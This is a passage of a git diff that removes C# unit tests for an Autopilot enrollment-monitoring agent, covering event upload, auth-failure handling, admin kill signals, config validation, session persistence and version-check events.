- _mockPersistence.Verify(p => p.DeleteSession(), Times.Once);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EventUploadOrchestratorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EventUploadOrchestratorTests.cs
deleted file mode 100644
index 5bde0296..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EventUploadOrchestratorTests.cs
+++ /dev/null
@@ -1,444 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Threading.Tasks;
-using AutopilotMonitor.Agent.Core.Configuration;
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using AutopilotMonitor.Agent.Core.Monitoring.Transport;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared;
-using AutopilotMonitor.Shared.Models;
-using Moq;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Core
-{
- public class EventUploadOrchestratorTests : IDisposable
- {
- private readonly AgentConfiguration _config;
- private readonly Mock _mockApiClient;
- private readonly Mock _mockEmergency;
- private readonly Mock _mockDistress;
- private readonly Mock _mockCleanup;
- private readonly Mock _mockSpool;
- private readonly List _emittedEvents;
- private readonly List<(string type, string message, Dictionary data)> _shutdownEvents;
- private bool _terminalEventSeen;
- private int? _exitCode;
-
- public EventUploadOrchestratorTests()
- {
- _config = new AgentConfiguration
- {
- SessionId = "test-session",
- TenantId = "test-tenant",
- MaxBatchSize = 100,
- MaxAuthFailures = 5,
- AuthFailureTimeoutMinutes = 0,
- UploadIntervalSeconds = 30
- };
-
- _mockApiClient = new Mock();
- _mockEmergency = new Mock(
- _mockApiClient.Object, "test-session", "test-tenant", "1.0", TestLogger.Instance);
- _mockDistress = new Mock(
- "http://localhost", "test-tenant", "TestMfg", "TestModel", "SN123", "1.0", TestLogger.Instance);
- _mockCleanup = new Mock(_config, TestLogger.Instance);
- _mockSpool = new Mock();
-
- _emittedEvents = new List();
- _shutdownEvents = new List<(string, string, Dictionary)>();
- _terminalEventSeen = false;
- _exitCode = null;
- }
-
- public void Dispose()
- {
- // Orchestrator disposes timers internally
- }
-
- private EventUploadOrchestrator CreateOrchestrator()
- {
- var orch = new Mock(
- _config,
- TestLogger.Instance,
- _mockSpool.Object,
- _mockApiClient.Object,
- _mockEmergency.Object,
- _mockDistress.Object,
- _mockCleanup.Object,
- (Action)(e => _emittedEvents.Add(e)),
- (Action>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
- (Func)(() => _terminalEventSeen))
- { CallBase = true };
-
- orch.Setup(x => x.ExitProcess(It.IsAny()))
- .Callback(code => _exitCode = code);
-
- return orch.Object;
- }
-
- ///
- /// Returns a Mock ServerActionDispatcher whose DispatchAsync captures the batch into the
- /// supplied callback. Used by tests that verify the synthesis contract between the orchestrator
- /// and the dispatcher (kill / admin-action → terminate_session ServerAction).
- ///
- private ServerActionDispatcher CreateCapturingDispatcher(Action> onDispatched)
- {
- var mock = new Mock(
- _config,
- TestLogger.Instance,
- (Func>)(() => Task.FromResult(true)),
- (Func>)(_ => Task.FromResult(new DiagnosticsUploadResult())),
- (Func)(_ => Task.CompletedTask),
- (Action)(_ => { }))
- { CallBase = false };
-
- mock.Setup(d => d.DispatchAsync(It.IsAny>()))
- .Returns>(batch => { onDispatched(batch); return Task.CompletedTask; });
-
- return mock.Object;
- }
-
- private List CreateTestEvents(int count = 3)
- {
- return Enumerable.Range(1, count)
- .Select(i => new EnrollmentEvent
- {
- SessionId = _config.SessionId,
- TenantId = _config.TenantId,
- EventType = $"test_event_{i}",
- Timestamp = DateTime.UtcNow
- }).ToList();
- }
-
- // ===== Auth Failure Circuit Breaker =====
-
- [Fact]
- public void HandleAuthFailure_FirstFailure_401_SendsDistressWithCertRejected()
- {
- var orch = CreateOrchestrator();
- orch.HandleAuthFailure(401);
-
- _mockDistress.Verify(d => d.TrySendAsync(
- DistressErrorType.AuthCertificateRejected,
- It.IsAny(),
- 401), Times.Once);
- }
-
- [Fact]
- public void HandleAuthFailure_FirstFailure_403_SendsDistressWithDeviceNotRegistered()
- {
- var orch = CreateOrchestrator();
- orch.HandleAuthFailure(403);
-
- _mockDistress.Verify(d => d.TrySendAsync(
- DistressErrorType.DeviceNotRegistered,
- It.IsAny(),
- 403), Times.Once);
- }
-
- [Fact]
- public void HandleAuthFailure_SecondFailure_DoesNotSendDistressAgain()
- {
- var orch = CreateOrchestrator();
- orch.HandleAuthFailure(401);
- orch.HandleAuthFailure(401);
-
- _mockDistress.Verify(d => d.TrySendAsync(
- It.IsAny(),
- It.IsAny(),
- It.IsAny()), Times.Once);
- }
-
- [Fact]
- public void HandleAuthFailure_BelowThreshold_DoesNotExit()
- {
- _config.MaxAuthFailures = 5;
- var orch = CreateOrchestrator();
-
- for (int i = 0; i < 4; i++)
- orch.HandleAuthFailure(401);
-
- Assert.Null(_exitCode);
- Assert.Empty(_shutdownEvents);
- }
-
- [Fact]
- public void HandleAuthFailure_ReachesMaxAuthFailures_EmitsShutdownAndExits()
- {
- _config.MaxAuthFailures = 3;
- var orch = CreateOrchestrator();
-
- for (int i = 0; i < 3; i++)
- orch.HandleAuthFailure(401);
-
- Assert.Equal(1, _exitCode);
- Assert.Single(_shutdownEvents);
- Assert.Equal("auth_failure", _shutdownEvents[0].type);
- Assert.Equal("max_attempts", _shutdownEvents[0].data["shutdownTrigger"]);
- }
-
- [Fact]
- public void HandleAuthFailure_MaxAuthFailuresDisabled_NeverExitsOnCount()
- {
- _config.MaxAuthFailures = 0;
- var orch = CreateOrchestrator();
-
- for (int i = 0; i < 100; i++)
- orch.HandleAuthFailure(401);
-
- Assert.Null(_exitCode);
- }
-
- [Fact]
- public void HandleAuthFailure_TimeoutDisabled_NeverExitsOnTime()
- {
- _config.MaxAuthFailures = 0;
- _config.AuthFailureTimeoutMinutes = 0;
- var orch = CreateOrchestrator();
-
- for (int i = 0; i < 10; i++)
- orch.HandleAuthFailure(401);
-
- Assert.Null(_exitCode);
- }
-
- // ===== Admin Signal Processing =====
-
- [Fact]
- public async Task UploadEvents_KillSignal_SynthesizesTerminateActionWithForceSelfDestruct()
- {
- // After the consolidation the orchestrator no longer runs kill-specific inline logic.
- // It synthesizes a terminate_session ServerAction and hands it to the dispatcher.
- // The actual self-destruct + exit happens in MonitoringService.HandleTerminateSessionAsync
- // (see dedicated tests there). We verify the synthesis contract here.
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ReturnsAsync(new IngestEventsResponse { DeviceKillSignal = true });
-
- List dispatched = null;
- var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
-
- var orch = CreateOrchestrator();
- orch.SetServerActionDispatcher(dispatcher);
- await orch.UploadEventsAsync();
-
- Assert.NotNull(dispatched);
- Assert.Single(dispatched);
- Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
- Assert.Equal("true", dispatched[0].Params["forceSelfDestruct"]);
- Assert.Equal("0", dispatched[0].Params["gracePeriodSeconds"]);
- Assert.Equal("kill_signal", dispatched[0].Params["origin"]);
- }
-
- [Fact]
- public async Task UploadEvents_DeviceBlocked_StopsTimers_NoSelfDestruct()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ReturnsAsync(new IngestEventsResponse { DeviceBlocked = true });
-
- var orch = CreateOrchestrator();
- await orch.UploadEventsAsync();
-
- _mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never);
- Assert.Null(_exitCode);
- Assert.Empty(_shutdownEvents);
- }
-
- [Fact]
- public async Task UploadEvents_AdminOverride_Succeeded_SynthesizesTerminateWithOutcome()
- {
- // AdminAction is a soft-shutdown path — no forceSelfDestruct. The adminOutcome param
- // tells MonitoringService.HandleTerminateSessionAsync to emit enrollment_complete
- // instead of agent_shutdown.
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" });
- _terminalEventSeen = false;
-
- List dispatched = null;
- var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
-
- var orch = CreateOrchestrator();
- orch.SetServerActionDispatcher(dispatcher);
- await orch.UploadEventsAsync();
-
- Assert.NotNull(dispatched);
- Assert.Single(dispatched);
- Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
- Assert.Equal("Succeeded", dispatched[0].Params["adminOutcome"]);
- Assert.Equal("admin_action", dispatched[0].Params["origin"]);
- Assert.False(dispatched[0].Params.ContainsKey("forceSelfDestruct"));
- }
-
- [Fact]
- public async Task UploadEvents_AdminOverride_Failed_SynthesizesTerminateWithFailedOutcome()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ReturnsAsync(new IngestEventsResponse { AdminAction = "Failed" });
- _terminalEventSeen = false;
-
- List dispatched = null;
- var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
-
- var orch = CreateOrchestrator();
- orch.SetServerActionDispatcher(dispatcher);
- await orch.UploadEventsAsync();
-
- Assert.NotNull(dispatched);
- Assert.Single(dispatched);
- Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
- Assert.Equal("Failed", dispatched[0].Params["adminOutcome"]);
- }
-
- [Fact]
- public async Task UploadEvents_AdminOverride_TerminalEventAlreadySeen_Ignored()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ReturnsAsync(new IngestEventsResponse { AdminAction = "Succeeded" });
- _terminalEventSeen = true;
-
- var orch = CreateOrchestrator();
- await orch.UploadEventsAsync();
-
- Assert.Empty(_emittedEvents);
- }
-
- // ===== Upload Success/Failure Tracking =====
-
- [Fact]
- public async Task UploadEvents_Success_RemovesEventsFromSpool()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 });
-
- var orch = CreateOrchestrator();
- await orch.UploadEventsAsync();
-
- _mockSpool.Verify(s => s.RemoveEvents(events), Times.Once);
- }
-
- [Fact]
- public async Task UploadEvents_EmptySpool_NoApiCall()
- {
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(new List());
-
- var orch = CreateOrchestrator();
- await orch.UploadEventsAsync();
-
- _mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny()), Times.Never);
- }
-
- [Fact]
- public async Task UploadEvents_AuthException_TriggersHandleAuthFailure()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ThrowsAsync(new BackendAuthException("Unauthorized", 401));
- _config.MaxAuthFailures = 0; // disable exit so test doesn't trip ExitProcess
-
- var orch = CreateOrchestrator();
- await orch.UploadEventsAsync();
-
- // Distress should be sent (first auth failure)
- _mockDistress.Verify(d => d.TrySendAsync(
- DistressErrorType.AuthCertificateRejected,
- It.IsAny(),
- 401), Times.Once);
- }
-
- [Fact]
- public async Task UploadEvents_GenericException_IncrementsUploadFailureCounter()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .ThrowsAsync(new Exception("Network error"));
-
- var orch = CreateOrchestrator();
-
- // Call 3 times to reach the emergency threshold
- for (int i = 0; i < EmergencyReporter.ConsecutiveFailureThreshold; i++)
- await orch.UploadEventsAsync();
-
- _mockEmergency.Verify(e => e.TrySendAsync(
- AgentErrorType.IngestFailed,
- It.IsAny(),
- It.IsAny(),
- It.IsAny()), Times.Once);
- }
-
- [Fact]
- public async Task UploadEvents_Success_ResetsAllFailureCounters()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
-
- // First call: fail with generic exception
- _mockApiClient.SetupSequence(a => a.IngestEventsAsync(It.IsAny()))
- .ThrowsAsync(new Exception("Network error"))
- .ReturnsAsync(new IngestEventsResponse { Success = true, EventsProcessed = 3 })
- .ThrowsAsync(new Exception("Network error again"));
-
- var orch = CreateOrchestrator();
-
- // Failure #1
- await orch.UploadEventsAsync();
- // Success — resets counter
- await orch.UploadEventsAsync();
- // Failure #1 again (counter was reset, so emergency at threshold from fresh start)
- await orch.UploadEventsAsync();
-
- // Emergency should NOT be sent because the counter was reset after 1 failure
- // (threshold is 3, we only had 1 failure after reset)
- _mockEmergency.Verify(e => e.TrySendAsync(
- It.IsAny(),
- It.IsAny(),
- It.IsAny(),
- It.IsAny()), Times.Never);
- }
-
- [Fact]
- public async Task UploadEvents_ConcurrentCall_SecondSkipped()
- {
- var events = CreateTestEvents();
- _mockSpool.Setup(s => s.GetBatch(It.IsAny())).Returns(events);
-
- var tcs = new TaskCompletionSource();
- _mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny()))
- .Returns(tcs.Task);
-
- var orch = CreateOrchestrator();
-
- // Start first upload (will block on tcs)
- var task1 = orch.UploadEventsAsync();
-
- // Second call should be skipped immediately
- await orch.UploadEventsAsync();
-
- // Complete the first call
- tcs.SetResult(new IngestEventsResponse { Success = true, EventsProcessed = 3 });
- await task1;
-
- // API should only be called once (second was skipped)
- _mockApiClient.Verify(a => a.IngestEventsAsync(It.IsAny()), Times.Once);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/MonitoringServiceConfigValidationTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/MonitoringServiceConfigValidationTests.cs
deleted file mode 100644
index 55a725b5..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/MonitoringServiceConfigValidationTests.cs
+++ /dev/null
@@ -1,112 +0,0 @@
-using System;
-using System.IO;
-using AutopilotMonitor.Agent.Core.Configuration;
-using AutopilotMonitor.Agent.Core.Logging;
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Core
-{
- ///
- /// Verifies that MonitoringService rejects an incomplete AgentConfiguration with a
- /// diagnostic message that names the missing fields. Customer-impact regression
- /// (gardnermedia, 2026-04-30): a TenantId-less startup crashed with an opaque
- /// "Invalid agent configuration" message that defied forensic analysis.
- ///
- public class MonitoringServiceConfigValidationTests : IDisposable
- {
- private readonly string _tempDir;
-
- public MonitoringServiceConfigValidationTests()
- {
- _tempDir = Path.Combine(Path.GetTempPath(), "autopilot-cfg-validation-" + Guid.NewGuid().ToString("N"));
- Directory.CreateDirectory(_tempDir);
- }
-
- public void Dispose()
- {
- try { Directory.Delete(_tempDir, true); } catch { }
- }
-
- private AgentConfiguration BuildValidConfig() => new AgentConfiguration
- {
- ApiBaseUrl = "https://example.invalid",
- SessionId = Guid.NewGuid().ToString(),
- TenantId = Guid.NewGuid().ToString(),
- SpoolDirectory = Path.Combine(_tempDir, "spool"),
- LogDirectory = Path.Combine(_tempDir, "logs")
- };
-
- private AgentLogger BuildLogger() => new AgentLogger(Path.Combine(_tempDir, "logs"));
-
- [Fact]
- public void Constructor_throws_with_field_name_when_TenantId_missing()
- {
- var config = BuildValidConfig();
- config.TenantId = null;
-
- var ex = Assert.Throws(
- () => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
-
- Assert.Contains("missing", ex.Message);
- Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message);
- }
-
- [Fact]
- public void Constructor_throws_with_field_name_when_SessionId_missing()
- {
- var config = BuildValidConfig();
- config.SessionId = "";
-
- var ex = Assert.Throws(
- () => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
-
- Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message);
- }
-
- [Fact]
- public void Constructor_throws_with_field_name_when_ApiBaseUrl_missing()
- {
- var config = BuildValidConfig();
- config.ApiBaseUrl = null;
-
- var ex = Assert.Throws(
- () => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
-
- Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message);
- }
-
- [Fact]
- public void Constructor_throws_with_all_field_names_when_multiple_missing()
- {
- var config = new AgentConfiguration
- {
- ApiBaseUrl = null,
- SessionId = null,
- TenantId = null,
- SpoolDirectory = Path.Combine(_tempDir, "spool"),
- LogDirectory = Path.Combine(_tempDir, "logs")
- };
-
- var ex = Assert.Throws(
- () => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
-
- Assert.Contains(nameof(AgentConfiguration.ApiBaseUrl), ex.Message);
- Assert.Contains(nameof(AgentConfiguration.SessionId), ex.Message);
- Assert.Contains(nameof(AgentConfiguration.TenantId), ex.Message);
- }
-
- [Fact]
- public void Constructor_message_does_not_change_for_valid_config()
- {
- // Sanity: a fully-populated config should NOT throw the validation exception.
- // It may throw later (cert load, spool init) — we only assert the validation
- // path itself does not fire on a complete config.
- var config = BuildValidConfig();
-
- var ex = Record.Exception(() => new MonitoringService(config, BuildLogger(), agentVersion: "test"));
- if (ex is InvalidOperationException ioe)
- Assert.DoesNotContain("Invalid agent configuration:", ioe.Message);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/SessionPersistenceTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/SessionPersistenceTests.cs
deleted file mode 100644
index de85c5e5..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/SessionPersistenceTests.cs
+++ /dev/null
@@ -1,177 +0,0 @@
-using System;
-using System.IO;
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Core
-{
- ///
- /// Tests session persistence across agent restarts, reboots, and OS resets.
- /// Prevents: session splits when session.created is lost during reboot (orphan guard
- /// was too aggressive — deleted session.id instead of recovering session.created).
- ///
- public class SessionPersistenceTests : IDisposable
- {
- private readonly string _tempDir;
-
- public SessionPersistenceTests()
- {
- _tempDir = Path.Combine(Path.GetTempPath(), "autopilot-session-test-" + Guid.NewGuid().ToString("N"));
- Directory.CreateDirectory(_tempDir);
- }
-
- public void Dispose()
- {
- try { Directory.Delete(_tempDir, true); } catch { }
- }
-
- [Fact]
- public void LoadOrCreateSessionId_FirstRun_CreatesNewSession()
- {
- var persistence = new SessionPersistence(_tempDir);
- var sessionId = persistence.LoadOrCreateSessionId();
-
- Assert.True(Guid.TryParse(sessionId, out _));
- Assert.True(File.Exists(Path.Combine(_tempDir, "session.id")));
- Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
- }
-
- [Fact]
- public void LoadOrCreateSessionId_ExistingSession_ReturnsExistingId()
- {
- var persistence = new SessionPersistence(_tempDir);
- var firstId = persistence.LoadOrCreateSessionId();
-
- // Simulate agent restart — new SessionPersistence instance, same directory
- var persistence2 = new SessionPersistence(_tempDir);
- var secondId = persistence2.LoadOrCreateSessionId();
-
- Assert.Equal(firstId, secondId);
- }
-
- ///
- /// Regression test for the session-split bug: after a reboot, if session.created
- /// is lost (filesystem flush, corruption, etc.) but session.id survives,
- /// the agent must resume the existing session — not create a new one.
- ///
- [Fact]
- public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_ResumesSession()
- {
- // Arrange: create a valid session, then delete session.created to simulate loss
- var persistence = new SessionPersistence(_tempDir);
- var originalId = persistence.LoadOrCreateSessionId();
-
- File.Delete(Path.Combine(_tempDir, "session.created"));
- Assert.False(File.Exists(Path.Combine(_tempDir, "session.created")));
-
- // Act: simulate agent restart after reboot
- var persistence2 = new SessionPersistence(_tempDir);
- var resumedId = persistence2.LoadOrCreateSessionId();
-
- // Assert: same session ID, session.created re-initialized
- Assert.Equal(originalId, resumedId);
- Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
- }
-
- ///
- /// True orphan: session.id from a previous enrollment (old file) without
- /// session.created should still be discarded and a new session created.
- ///
- [Fact]
- public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_CreatesNewSession()
- {
- // Arrange: write a session.id with an old modification time
- var sessionIdPath = Path.Combine(_tempDir, "session.id");
- var oldGuid = Guid.NewGuid().ToString();
- File.WriteAllText(sessionIdPath, oldGuid);
-
- // Set file modification time to well beyond the orphan guard threshold
- var oldTime = DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24));
- File.SetLastWriteTimeUtc(sessionIdPath, oldTime);
-
- // No session.created file — simulates OS reset where ProgramData survived
-
- // Act
- var persistence = new SessionPersistence(_tempDir);
- var newId = persistence.LoadOrCreateSessionId();
-
- // Assert: new session created, not the old orphan
- Assert.NotEqual(oldGuid, newId);
- Assert.True(Guid.TryParse(newId, out _));
- Assert.True(File.Exists(Path.Combine(_tempDir, "session.created")));
- }
-
- [Fact]
- public void LoadOrCreateSessionId_RecentSessionId_MissingSessionCreated_PreservesSequence()
- {
- // Arrange: create session with sequence, then delete session.created
- var persistence = new SessionPersistence(_tempDir);
- var originalId = persistence.LoadOrCreateSessionId();
- persistence.SaveSequence(42);
-
- File.Delete(Path.Combine(_tempDir, "session.created"));
-
- // Act: restart
- var persistence2 = new SessionPersistence(_tempDir);
- var resumedId = persistence2.LoadOrCreateSessionId();
- var sequence = persistence2.LoadSequence();
-
- // Assert: session AND sequence preserved
- Assert.Equal(originalId, resumedId);
- Assert.Equal(42, sequence);
- }
-
- [Fact]
- public void LoadOrCreateSessionId_OldSessionId_MissingSessionCreated_ClearsSequence()
- {
- // Arrange: old session.id + sequence file, no session.created
- var sessionIdPath = Path.Combine(_tempDir, "session.id");
- File.WriteAllText(sessionIdPath, Guid.NewGuid().ToString());
- File.SetLastWriteTimeUtc(sessionIdPath,
- DateTime.UtcNow.AddHours(-(SessionPersistence.OrphanGuardMaxAgeHours + 24)));
-
- var seqPath = Path.Combine(_tempDir, "session.seq");
- File.WriteAllText(seqPath, "99");
-
- // Act
- var persistence = new SessionPersistence(_tempDir);
- persistence.LoadOrCreateSessionId();
- var sequence = persistence.LoadSequence();
-
- // Assert: sequence reset (old orphan files cleaned up)
- Assert.Equal(0, sequence);
- }
-
- [Fact]
- public void DeleteSession_RemovesAllFiles()
- {
- var persistence = new SessionPersistence(_tempDir);
- persistence.LoadOrCreateSessionId();
- persistence.SaveSequence(10);
-
- persistence.DeleteSession();
-
- Assert.False(File.Exists(Path.Combine(_tempDir, "session.id")));
- Assert.False(File.Exists(Path.Combine(_tempDir, "session.seq")));
- Assert.False(File.Exists(Path.Combine(_tempDir, "session.created")));
- }
-
- [Fact]
- public void NewSession_Flag_ForcesNewSession()
- {
- var persistence = new SessionPersistence(_tempDir);
- var firstId = persistence.LoadOrCreateSessionId();
-
- // Simulate --new-session flag: delete then create
- persistence.DeleteSession();
- var secondId = persistence.LoadOrCreateSessionId();
-
- Assert.NotEqual(firstId, secondId);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/VersionCheckEventBuilderTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/VersionCheckEventBuilderTests.cs
deleted file mode 100644
index d2f23e64..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/VersionCheckEventBuilderTests.cs
+++ /dev/null
@@ -1,313 +0,0 @@
-using System;
-using System.IO;
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using AutopilotMonitor.Shared;
-using AutopilotMonitor.Shared.Models;
-using Newtonsoft.Json.Linq;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Core
-{
- ///
- /// Covers the three outcomes (updated / skipped / check_failed / up_to_date), the dedup rules,
- /// and the defensive behaviors (no marker, corrupt JSON, stale markers).
- ///
- public class VersionCheckEventBuilderTests : IDisposable
- {
- private readonly string _tempDir;
- private readonly VersionCheckEventBuilder.Paths _paths;
-
- private const string SessionA = "11111111-1111-1111-1111-111111111111";
- private const string SessionB = "22222222-2222-2222-2222-222222222222";
- private const string TenantId = "tenant-xyz";
-
- public VersionCheckEventBuilderTests()
- {
- _tempDir = Path.Combine(Path.GetTempPath(), "vceb-test-" + Guid.NewGuid().ToString("N"));
- Directory.CreateDirectory(_tempDir);
- _paths = new VersionCheckEventBuilder.Paths
- {
- UpdatedMarker = Path.Combine(_tempDir, "self-update-info.json"),
- SkippedMarker = Path.Combine(_tempDir, "self-update-skipped.json"),
- CheckedMarker = Path.Combine(_tempDir, "self-update-checked.json"),
- LastEmit = Path.Combine(_tempDir, "last-version-check.json"),
- };
- }
-
- public void Dispose()
- {
- try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } catch { }
- }
-
- private void WriteChecked(string current = "1.0.949", string latest = "1.0.949", long versionCheckMs = 123)
- {
- var json = new JObject
- {
- ["outcome"] = "up_to_date",
- ["currentVersion"] = current,
- ["latestVersion"] = latest,
- ["versionCheckMs"] = versionCheckMs,
- ["checkedAtUtc"] = DateTime.UtcNow.ToString("O"),
- };
- File.WriteAllText(_paths.CheckedMarker, json.ToString());
- }
-
- private void WriteUpdated(string previous = "1.0.949", string newVer = "1.0.950", string trigger = "startup")
- {
- var now = DateTime.UtcNow;
- var json = new JObject
- {
- ["outcome"] = "updated",
- ["previousVersion"] = previous,
- ["newVersion"] = newVer,
- ["triggerReason"] = trigger,
- ["updatedAtUtc"] = now.ToString("O"),
- ["exitAtUtc"] = now.AddSeconds(-2).ToString("O"),
- ["versionCheckMs"] = 100L,
- ["downloadMs"] = 2000L,
- ["zipSizeBytes"] = 1234567L,
- ["verifyMs"] = 40L,
- ["extractMs"] = 200L,
- ["swapMs"] = 50L,
- ["totalUpdateMs"] = 2400L,
- };
- File.WriteAllText(_paths.UpdatedMarker, json.ToString());
- }
-
- private void WriteSkipped(string reason = "download_failed", string latest = "1.0.950", string outcome = null)
- {
- var json = new JObject
- {
- ["reason"] = reason,
- ["currentVersion"] = "1.0.949",
- ["latestVersion"] = latest,
- ["skippedAtUtc"] = DateTime.UtcNow.ToString("O"),
- ["errorDetail"] = "timeout after 10000ms",
- };
- if (outcome != null) json["outcome"] = outcome;
- File.WriteAllText(_paths.SkippedMarker, json.ToString());
- }
-
- private void WriteLastEmit(string sessionId, string latestVersion, string outcome)
- {
- var json = new JObject
- {
- ["sessionId"] = sessionId,
- ["latestVersion"] = latestVersion,
- ["outcome"] = outcome,
- ["emittedAtUtc"] = DateTime.UtcNow.ToString("O"),
- };
- File.WriteAllText(_paths.LastEmit, json.ToString());
- }
-
- [Fact]
- public void NoMarker_ReturnsNoEvent()
- {
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Null(result.Event);
- Assert.False(result.Deduped);
- Assert.Null(result.Outcome);
- Assert.Null(result.ParseError);
- }
-
- [Fact]
- public void UpToDateMarker_FirstTime_EmitsEventAndPersistsLastEmit()
- {
- WriteChecked(latest: "1.0.949");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.Equal(Constants.EventTypes.AgentVersionCheck, result.Event.EventType);
- Assert.Equal(EventSeverity.Info, result.Event.Severity);
- Assert.Equal("up_to_date", result.Event.Data["outcome"]);
- Assert.Equal("1.0.949", result.Event.Data["latestVersion"]);
- Assert.False(File.Exists(_paths.CheckedMarker)); // marker deleted
- Assert.True(File.Exists(_paths.LastEmit)); // last-emit persisted
- }
-
- [Fact]
- public void UpToDateMarker_SameSessionSameVersion_IsDeduped()
- {
- WriteLastEmit(SessionA, "1.0.949", "up_to_date");
- WriteChecked(latest: "1.0.949");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Null(result.Event);
- Assert.True(result.Deduped);
- Assert.Equal("up_to_date", result.Outcome);
- Assert.False(File.Exists(_paths.CheckedMarker));
- }
-
- [Fact]
- public void UpToDateMarker_DifferentSession_EmitsEvent()
- {
- WriteLastEmit(SessionA, "1.0.949", "up_to_date");
- WriteChecked(latest: "1.0.949");
-
